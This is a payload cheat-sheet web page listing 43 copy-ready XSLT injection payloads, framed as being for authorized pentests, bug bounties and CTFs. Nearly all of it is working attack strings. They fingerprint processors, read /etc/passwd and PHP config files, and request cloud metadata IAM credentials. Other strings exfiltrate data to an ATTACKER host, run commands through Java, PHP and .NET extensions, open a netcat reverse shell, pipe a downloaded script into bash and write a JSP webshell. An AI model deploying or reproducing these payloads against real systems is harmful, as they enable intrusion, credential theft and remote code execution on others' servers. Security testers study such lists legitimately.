Real, public XSLT injection techniques for authorized pentests, bug bounties, and CTFs — processor fingerprinting, file read, SSRF, and RCE via Java/PHP/.NET extension functions. (43 payloads)
<xsl:value-of select="1+1"/><xsl:value-of select="concat('inj','ected')"/><xsl:if test="1=1">VULNERABLE</xsl:if>}}{{ <xsl:value-of select="system-property('xsl:version')"/><xsl:message terminate="yes">probe</xsl:message><xsl:value-of select="unparsed-entity-uri('x')"/><xsl:value-of select="format-number(1,'#')"/><xsl:value-of select="system-property('xsl:version')"/><xsl:value-of select="system-property('xsl:vendor')"/><xsl:value-of select="system-property('xsl:vendor-url')"/><xsl:value-of select="system-property('xsl:product-name')"/><xsl:value-of select="system-property('xsl:product-version')"/><xsl:value-of select="system-property('java.version')"/><xsl:value-of select="system-property('user.dir')"/><xsl:value-of select="php:function('phpversion')"/><xsl:value-of select="unparsed-text('/etc/passwd')"/><xsl:value-of select="unparsed-text('file:///etc/passwd')"/><xsl:copy-of select="document('/etc/passwd')"/><xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/><xsl:value-of select="php:function('file_get_contents','php://filter/convert.base64-encode/resource=/var/www/html/config.php')"/><xsl:value-of select="document('file:///etc/passwd')" disable-output-escaping="yes"/><xsl:for-each select="document('file:///etc/passwd')//*"><xsl:value-of select="."/></xsl:for-each><xsl:value-of select="document('http://169.254.169.254/latest/meta-data/iam/security-credentials/')"/><xsl:value-of select="document('http://127.0.0.1:8080/admin')"/><xsl:value-of select="document('http://ATTACKER/canary')"/><xsl:value-of select="document(concat('http://ATTACKER/?d=',encode-for-uri(unparsed-text('/etc/hostname'))))"/><xsl:value-of select="unparsed-text('http://ATTACKER/x')"/><xsl:value-of select="php:function('file_get_contents','http://169.254.169.254/latest/meta-data/')"/><xsl:value-of select="document('http://ATTACKER:80/')" xmlns:exsl="http://exslt.org/common"/><xsl:value-of xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" select="rt:exec(rt:getRuntime(),'id')"/><xsl:variable name="rtobj" select="rt:getRuntime()" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"/><xsl:variable name="proc" select="rt:exec($rtobj,'nc ATTACKER 4444 -e /bin/sh')" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"/><xsl:value-of select="$proc"/><xsl:value-of xmlns:pb="http://xml.apache.org/xalan/java/java.lang.ProcessBuilder" select="pb:start(pb:new('/bin/sh','-c','id'))"/><xsl:value-of xmlns:scr="http://xml.apache.org/xalan/java" select="scr:java.lang.Runtime.getRuntime().exec('id')"/><xsl:value-of select="FileWriter:new('/var/www/html/sh.jsp')" xmlns:FileWriter="http://xml.apache.org/xalan/java/java.io.FileWriter"/><xsl:value-of select="saxon:eval(saxon:expression('Runtime.getRuntime().exec(\"id\")'))" xmlns:saxon="http://saxon.sf.net/"/><xsl:value-of xmlns:rt="http://saxon.sf.net/java-type" select="system-property('xsl:vendor')"/><xsl:value-of select="php:function('system','id')"/><xsl:value-of select="php:function('passthru','curl http://ATTACKER/s|bash')"/><xsl:value-of select="php:functionString('shell_exec','id')"/><msxsl:script language="C#" implements-prefix="user" xmlns:msxsl="urn:schemas-microsoft-com:xslt"><![CDATA[ public string Run(){ return new System.Diagnostics.Process(){ StartInfo = { FileName="cmd.exe", Arguments="/c whoami", RedirectStandardOutput=true, UseShellExecute=false } }.StandardOutput.ReadToEnd(); } ]]></msxsl:script><xsl:value-of select="user:Run()" xmlns:user="urn:my-scripts"/><xsl:value-of select="exsl:node-set(...)" xmlns:exsl="http://exslt.org/common"/><xsl:value-of select="dyn:evaluate('system-property(\'xsl:vendor\')')" xmlns:dyn="http://exslt.org/dynamic"/>Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 43 XSLT Injection payloads for testing XSLT Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the SSTI Identifier & Payload Builder to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all XSLT Injection payloads are completely free, with no account required. Everything runs in your browser.